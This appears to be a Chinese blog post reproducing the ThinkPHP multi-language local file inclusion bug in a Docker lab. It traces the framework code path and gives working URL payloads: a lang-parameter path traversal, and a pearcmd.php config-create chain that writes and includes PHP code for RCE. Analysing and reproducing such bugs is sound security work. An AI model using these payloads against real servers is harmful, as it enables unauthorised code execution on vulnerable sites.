日期:2023-06-28 作者:Obsidian 介绍:ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现分析,学习为主。
0x01 写在前面
ThinkPHP
在开启多语言功能的情况下存在文件包含漏洞,攻击者可以包含任意php
文件,但如果服务器环境安装了pear
扩展,并且开启了register_argc_argv
,攻击者可通过文件包含pearcmd.php
文件实现RCE
。
该漏洞公开于2022
年12
月,本次复现将跟随大佬的脚步,逐步学习该漏洞的思路。
漏洞影响版本:
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
漏洞环境搭建
docker pull vulfocus/thinkphp:6.0.12
docker run -itd -p80:80 vulfocus/thinkphp:6.0.12
漏洞利用条件:
修改配置文件,开启多语言功能。(漏洞环境已自动开启)
/var/www/html/app/middleware.php
根据多语言加载功能的代码,直接定位到文件/vendor/topthink/framework/src/think/middleware/LoadLangPack.php
。
为方便阅读,本文中的代码均经过了人工简化,并非原始代码。
namespace thinkmiddleware;
class LoadLangPack
{
public function __construct(App $app, Lang $lang, Config $config)
{
$this->config = $lang->getConfig();
}
public function handle($request, Closure $next)
{
$langset = $this->detect($request);
if ($this->lang->defaultLangSet() != $langset) {
$this->lang->switchLangSet($langset);
}
}
protected function detect(Request $request): string
{
$langSet = '';
if ($request->get($this->config['detect_var'])) {
$langSet = strtolower($request->get($this->config['detect_var']));
} elseif ($request->header($this->config['header_var'])) {
$langSet = strtolower($request->header($this->config['header_var']));
} elseif ($request->cookie($this->config['cookie_var'])) {
$langSet = strtolower($request->cookie($this->config['cookie_var']));
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
//xxx
}
if (empty($this->config['allow_lang_list'])) {
$range = $langSet;
}
return $range;
}
}
ThinkPHP
规定,中间件(middleware
)的入口执行方法必须是handle()
方法,而且第一个参数是Request
对象,第二个参数是一个闭包。
这也就意味着,handle()
方法会在中间件启用后,自动被调用。
handle()
方法第一行,触发了detect()
方法。
定位到文件/vendor/topthink/framework/src/think/Lang.php
。
namespace think;
class Lang
{
protected $config = [
'default_lang' => 'zh-cn',
'allow_lang_list' => [],
'cookie_var' => 'think_lang',
'header_var' => 'think-lang',
'detect_var' => 'lang',
];
public function getConfig(): array
{
return $this->config;
}
}
结合$config
变量中的数据,可知,detect()
方法按照优先级依次判断了GET["lang"]
、HEADER["think-lang"]
、COOKIE["think_lang"]
以及HEADER["Accept-Language"]
的值,如果存在那么就赋值给$langSet
变量。
之后进行判断,但由于allow_lang_list
默认为空,会直接触发if
条件下的代码,进行了赋值操作,并返回结果。
回到handle()
方法,继续进行if
判断,跟进defaultLangSet()
方法,其返回值为zh-cn
,如果我们传入的值与其不相等,则会触发switchLangSet()
方法。
class Lang
{
public function defaultLangSet()
{
return $this->config['default_lang'];
}
public function switchLangSet(string $langset)
{
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
}
}
这里会继续调用load()
方法和getThinkPath()
方法。
class Lang
{
public function load($file, $range = ''): array
{
foreach ((array) $file as $name) {
if (is_file($name)) {
$result = $this->parse($name);
}
}
}
protected function parse(string $file): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);
switch ($type) {
case 'php':
$result = include $file;
break;
}
}
}
getThinkPath()
方法的返回值是App.php
的当前目录,也就是/var/www/html/vendor/topthink/framework/src/
。
class App
{
public function __construct(string $rootPath = '')
{
$this->thinkPath = realpath(dirname(__DIR__)) . DIRECTORY_SEPARATOR;
}
public function getThinkPath(): string
{
return $this->thinkPath;
}
在与后面内容拼接之后,则变成了:
load([ '/var/www/html/vendor/topthink/framework/src/lang/xxx.php',]);
load()
方法会将数组中的元素依次传递给parse()
方法,而parse()
方法在判断文件类型之后,进行了include
操作。
至此,完整的文件包含流程就打通了:
LoadLangPack->handle()
-> LoadLangPack->detect(GET["lang"])
-> lang->switchLangSet(GET["lang"])
-> land->load(load([ '/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php',]))
-> lang->parse('/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php')
-> include('/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php')
可以通过包含index.php
来进行测试,payload
是/public/index.php?lang=../../../../../public/index
。
结果是服务器500
错误。
在实现了文件包含之后,如果条件允许,则可以进行RCE
。
PEAR
是PHP
扩展与应用库(the PHP Extension and Application Repository
)的缩写。它是一个PHP
扩展及应用的一个代码仓库,简单地说,类似于composer
,用于代码的下载与管理,默认安装路径是/usr/local/lib/php
。
它自身提供了多种使用方法,例如config-create
是创建配置文件,也就是写入文件。
config-create
命令需要两个参数,第一个是<root path>
,第二个是<filename>
,都需要以/
开头。
例如:php pearcmd.php config-create /123 /tmp/2.php
但以上都是命令行操作,想要通过web
方式来进行传参,则需要register_argc_argv=on
。
当register_argc_argv
开启后,可通过web
方式对命令行进行传参,这时参数之间并不是以&
分割,而是+
。
例如:
// vim 1.php
include "/usr/local/lib/php/pearcmd.php";
在上述场景下,本来pearcmd.php
自身并没有接收$_GET[]
数组的参数,但由于开启了register_argc_argv
,相当于web
传参变成了命令行传参,加号变成了空格:
pearcmd.php config-create /123 /tmp/1.php
那么结合文件包含漏洞和pearcmd.php
的特性,组合利用之后可进行RCE
。
payload
:
/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php
/public/index.php?lang=../../../../../../../../tmp/1
这时发现,传入的PHP
代码,并没有解析,这是因为在浏览器传参的时候,会自动进行URL
编码。
而命令行参数并不会自动解码,所以需要将编码的字符进行解码后发送:
这样,就可以正常解析PHP
代码,进行RCE
了。
0x03 写在后面
总体来看,虽然漏洞本身利用条件略微苛刻,但各个trick
的组合利用实在是秀地飞起。
我啥时候才能这么强啊。
Reference
https://tttang.com/archive/1865/
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论